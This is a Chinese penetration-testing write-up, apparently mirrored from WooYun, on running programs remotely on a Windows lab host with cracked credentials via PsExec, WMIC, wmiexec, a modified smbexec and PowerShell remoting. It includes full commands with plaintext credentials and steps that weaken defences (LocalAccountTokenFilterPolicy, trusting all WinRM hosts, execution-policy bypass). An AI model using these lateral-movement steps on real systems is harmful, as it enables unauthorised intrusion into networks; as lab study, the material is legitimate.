在遠端系統上執行程式的技術整理

wyzsk發表於2020-08-19
作者: 三好學生 · 2015/07/24 17:41

0x00 前言


上一篇學習瞭如何匯出域內所有使用者hash,那麼,接下來準備用破解出的使用者名稱口令嘗試遠端登陸目標主機並執行程式,結合實際環境做了如下測試.

0x01 目標


遠端登陸目標主機執行測試程式

0x02 測試環境


遠端主機:

ip:192.168.40.137   
使用者名稱:test
口令:testtest
作業系統:win7 x64

遠端登陸方式:

net use遠端登陸,不使用3389

Tips:

解決工作組環境無法遠端登陸執行程式的方法:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1

0x03 測試方法


1、at&schtasks

計劃任務方式執行程式。

條件:

啟動Task Scheduler服務  

2、psexec

PsTools工具之一,在指定的一臺或多臺計算機上執行應用程式

條件:

需要開放ADMIN$共享

3、WMIC

功能強大,可做系統管理、遠端主機資訊獲取

條件:

啟動WMI服務,開放135埠
本地安全策略的“網路訪問: 本地帳戶的共享和安全模式”應設為“經典-本地使用者以自己的身份驗證”

4、wmiexec

使用VBS指令碼呼叫WMI來模擬psexec的功能,基本上psexec能用的地方,這個指令碼也能夠使用。

條件:

啟動WMI服務,開放135埠
本地安全策略的“網路訪問: 本地帳戶的共享和安全模式”應設為“經典-本地使用者以自己的身份驗證”

0x04 實際測試


使用使用者名稱口令遠端登陸192.168.40.137,如圖1

這裡寫圖片描述

檢視目標主機共享資源,如圖1-2

這裡寫圖片描述

1、at&schtasks

at \\192.168.40.137

找不到網路路徑,判斷是目標主機已禁用Task Scheduler服務

如圖2

這裡寫圖片描述

2、psexec

PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe

找不到網路名,判斷目標主機已禁用ADMIN$共享

如圖3

這裡寫圖片描述

3、WMIC

wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe

Description = 無法啟動服務,原因可能是已被禁用或與其相關聯的裝置沒有啟動,判斷WMI服務被禁用

如圖4

這裡寫圖片描述

4、wmiexec

cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"

WMIEXEC ERROR: 無法啟動服務,原因可能是已被禁用或與其相關聯的裝置沒有啟動,判斷WMI服務被禁用

如圖5

這裡寫圖片描述

0x05 分析


整理下目前掌握的目標主機資訊:

目標主機:

1、已獲得登陸使用者名稱及口令
2、可以net use連線
3、開放共享C

但是:

1、預設admin$共享關閉,無法使用psexec
2、Task scheduler關閉,無法使用at、schtasks
3、Windows Management Instrumentation服務關閉,關閉135埠無法使用wmic、wmiexec
4、不支援3389

那麼,如何在目標主機遠端執行程式?

猜測管理員應該是對常用的遠端執行程式的方法做了限制,就在一籌莫展的時候突然想到了smbexec,它是基於psexec,如果目標主機開放了其他預設共享,倒是可以嘗試smbexec

於是搜尋smbexec,終於在GitHub上面找到了一個smbexec的c++參考資料,作為工具改進模版

模版下載地址:

https://github.com/sunorr/smbexec

0x06 改進方案


模版中的bug不細講,最終我成功用vc6實現了psexec的功能,同時也做了一些改進:

1、可指定預設共享名

為了完成上述測試,加入了引數來指定預設共享,如果ADMIN$共享關閉,那麼可以嘗試其他磁碟的預設共享

2、分離安裝服務的功能

在實際測試過程中,如果ADMIN$共享關閉,c$共享開啟,因為UAC的緣故,註冊安裝服務的功能會出現bug,採取的解決辦法為將實現註冊安裝服務功能的exe單獨上傳至c:\windows下, 即可解決許可權不夠的問題

0x07 方案測試


1、工具說明

檔案說明:

test.exe:主程式
execserver.exe:實現註冊安裝服務的輔助程式

引數說明:

test.exe ip user password command netshare

eg:

test.exe 192.168.40.137 test testtest whoami c$

2、使用流程

(1)上傳execserver.exe至c:\windows

copy execserver.exe \\192.168.40.137\c$\windows

(2)遠端執行

test.exe 192.168.40.137 test testtest whoami c$

如圖6

這裡寫圖片描述

最終我們透過改造的smbexec,突破目標主機限制,成功遠端執行程式。

程式原始碼下載連結:

smbexec_source.zip

0x08 補充


1、powershell remoting

實現在目標主機遠端執行程式後,可對目標主機開放powershell remoting,用作遠端連線

條件:

遠端連線會有痕跡
本機要開啟winRM服務

命令彙總:

列出所有遠端信任主機

powershell Get-Item WSMan:\localhost\Client\TrustedHosts

設定信任所有主機

powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force 

設定允許執行ps1檔案

powershell Set-ExecutionPolicy Unrestricted 

執行test.ps1檔案

powershell -ExecutionPolicy Bypass -File test.ps1 

ps1檔案如下:

$UserName = "test" 
$serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)  
invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }

2、python smbexec

隨後用python寫的smbexec也實現了相同的功能,但py2exe的時候遇到了大麻煩,如果有更簡單的方法, 希望能得到你的幫助。

0x09 小結


這篇文章共列舉了六種遠端執行程式的方法,如果已經成功登陸目標主機,卻無法執行程式,最心塞的事情莫過於此。

at 
psexec 
WMIC 
wmiexec 
smbexec 
powershell remoting
...

獲得使用者名稱口令,實現遠端執行程式僅僅是個開始,內網滲透會很有趣。

水平有限,歡迎補充。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章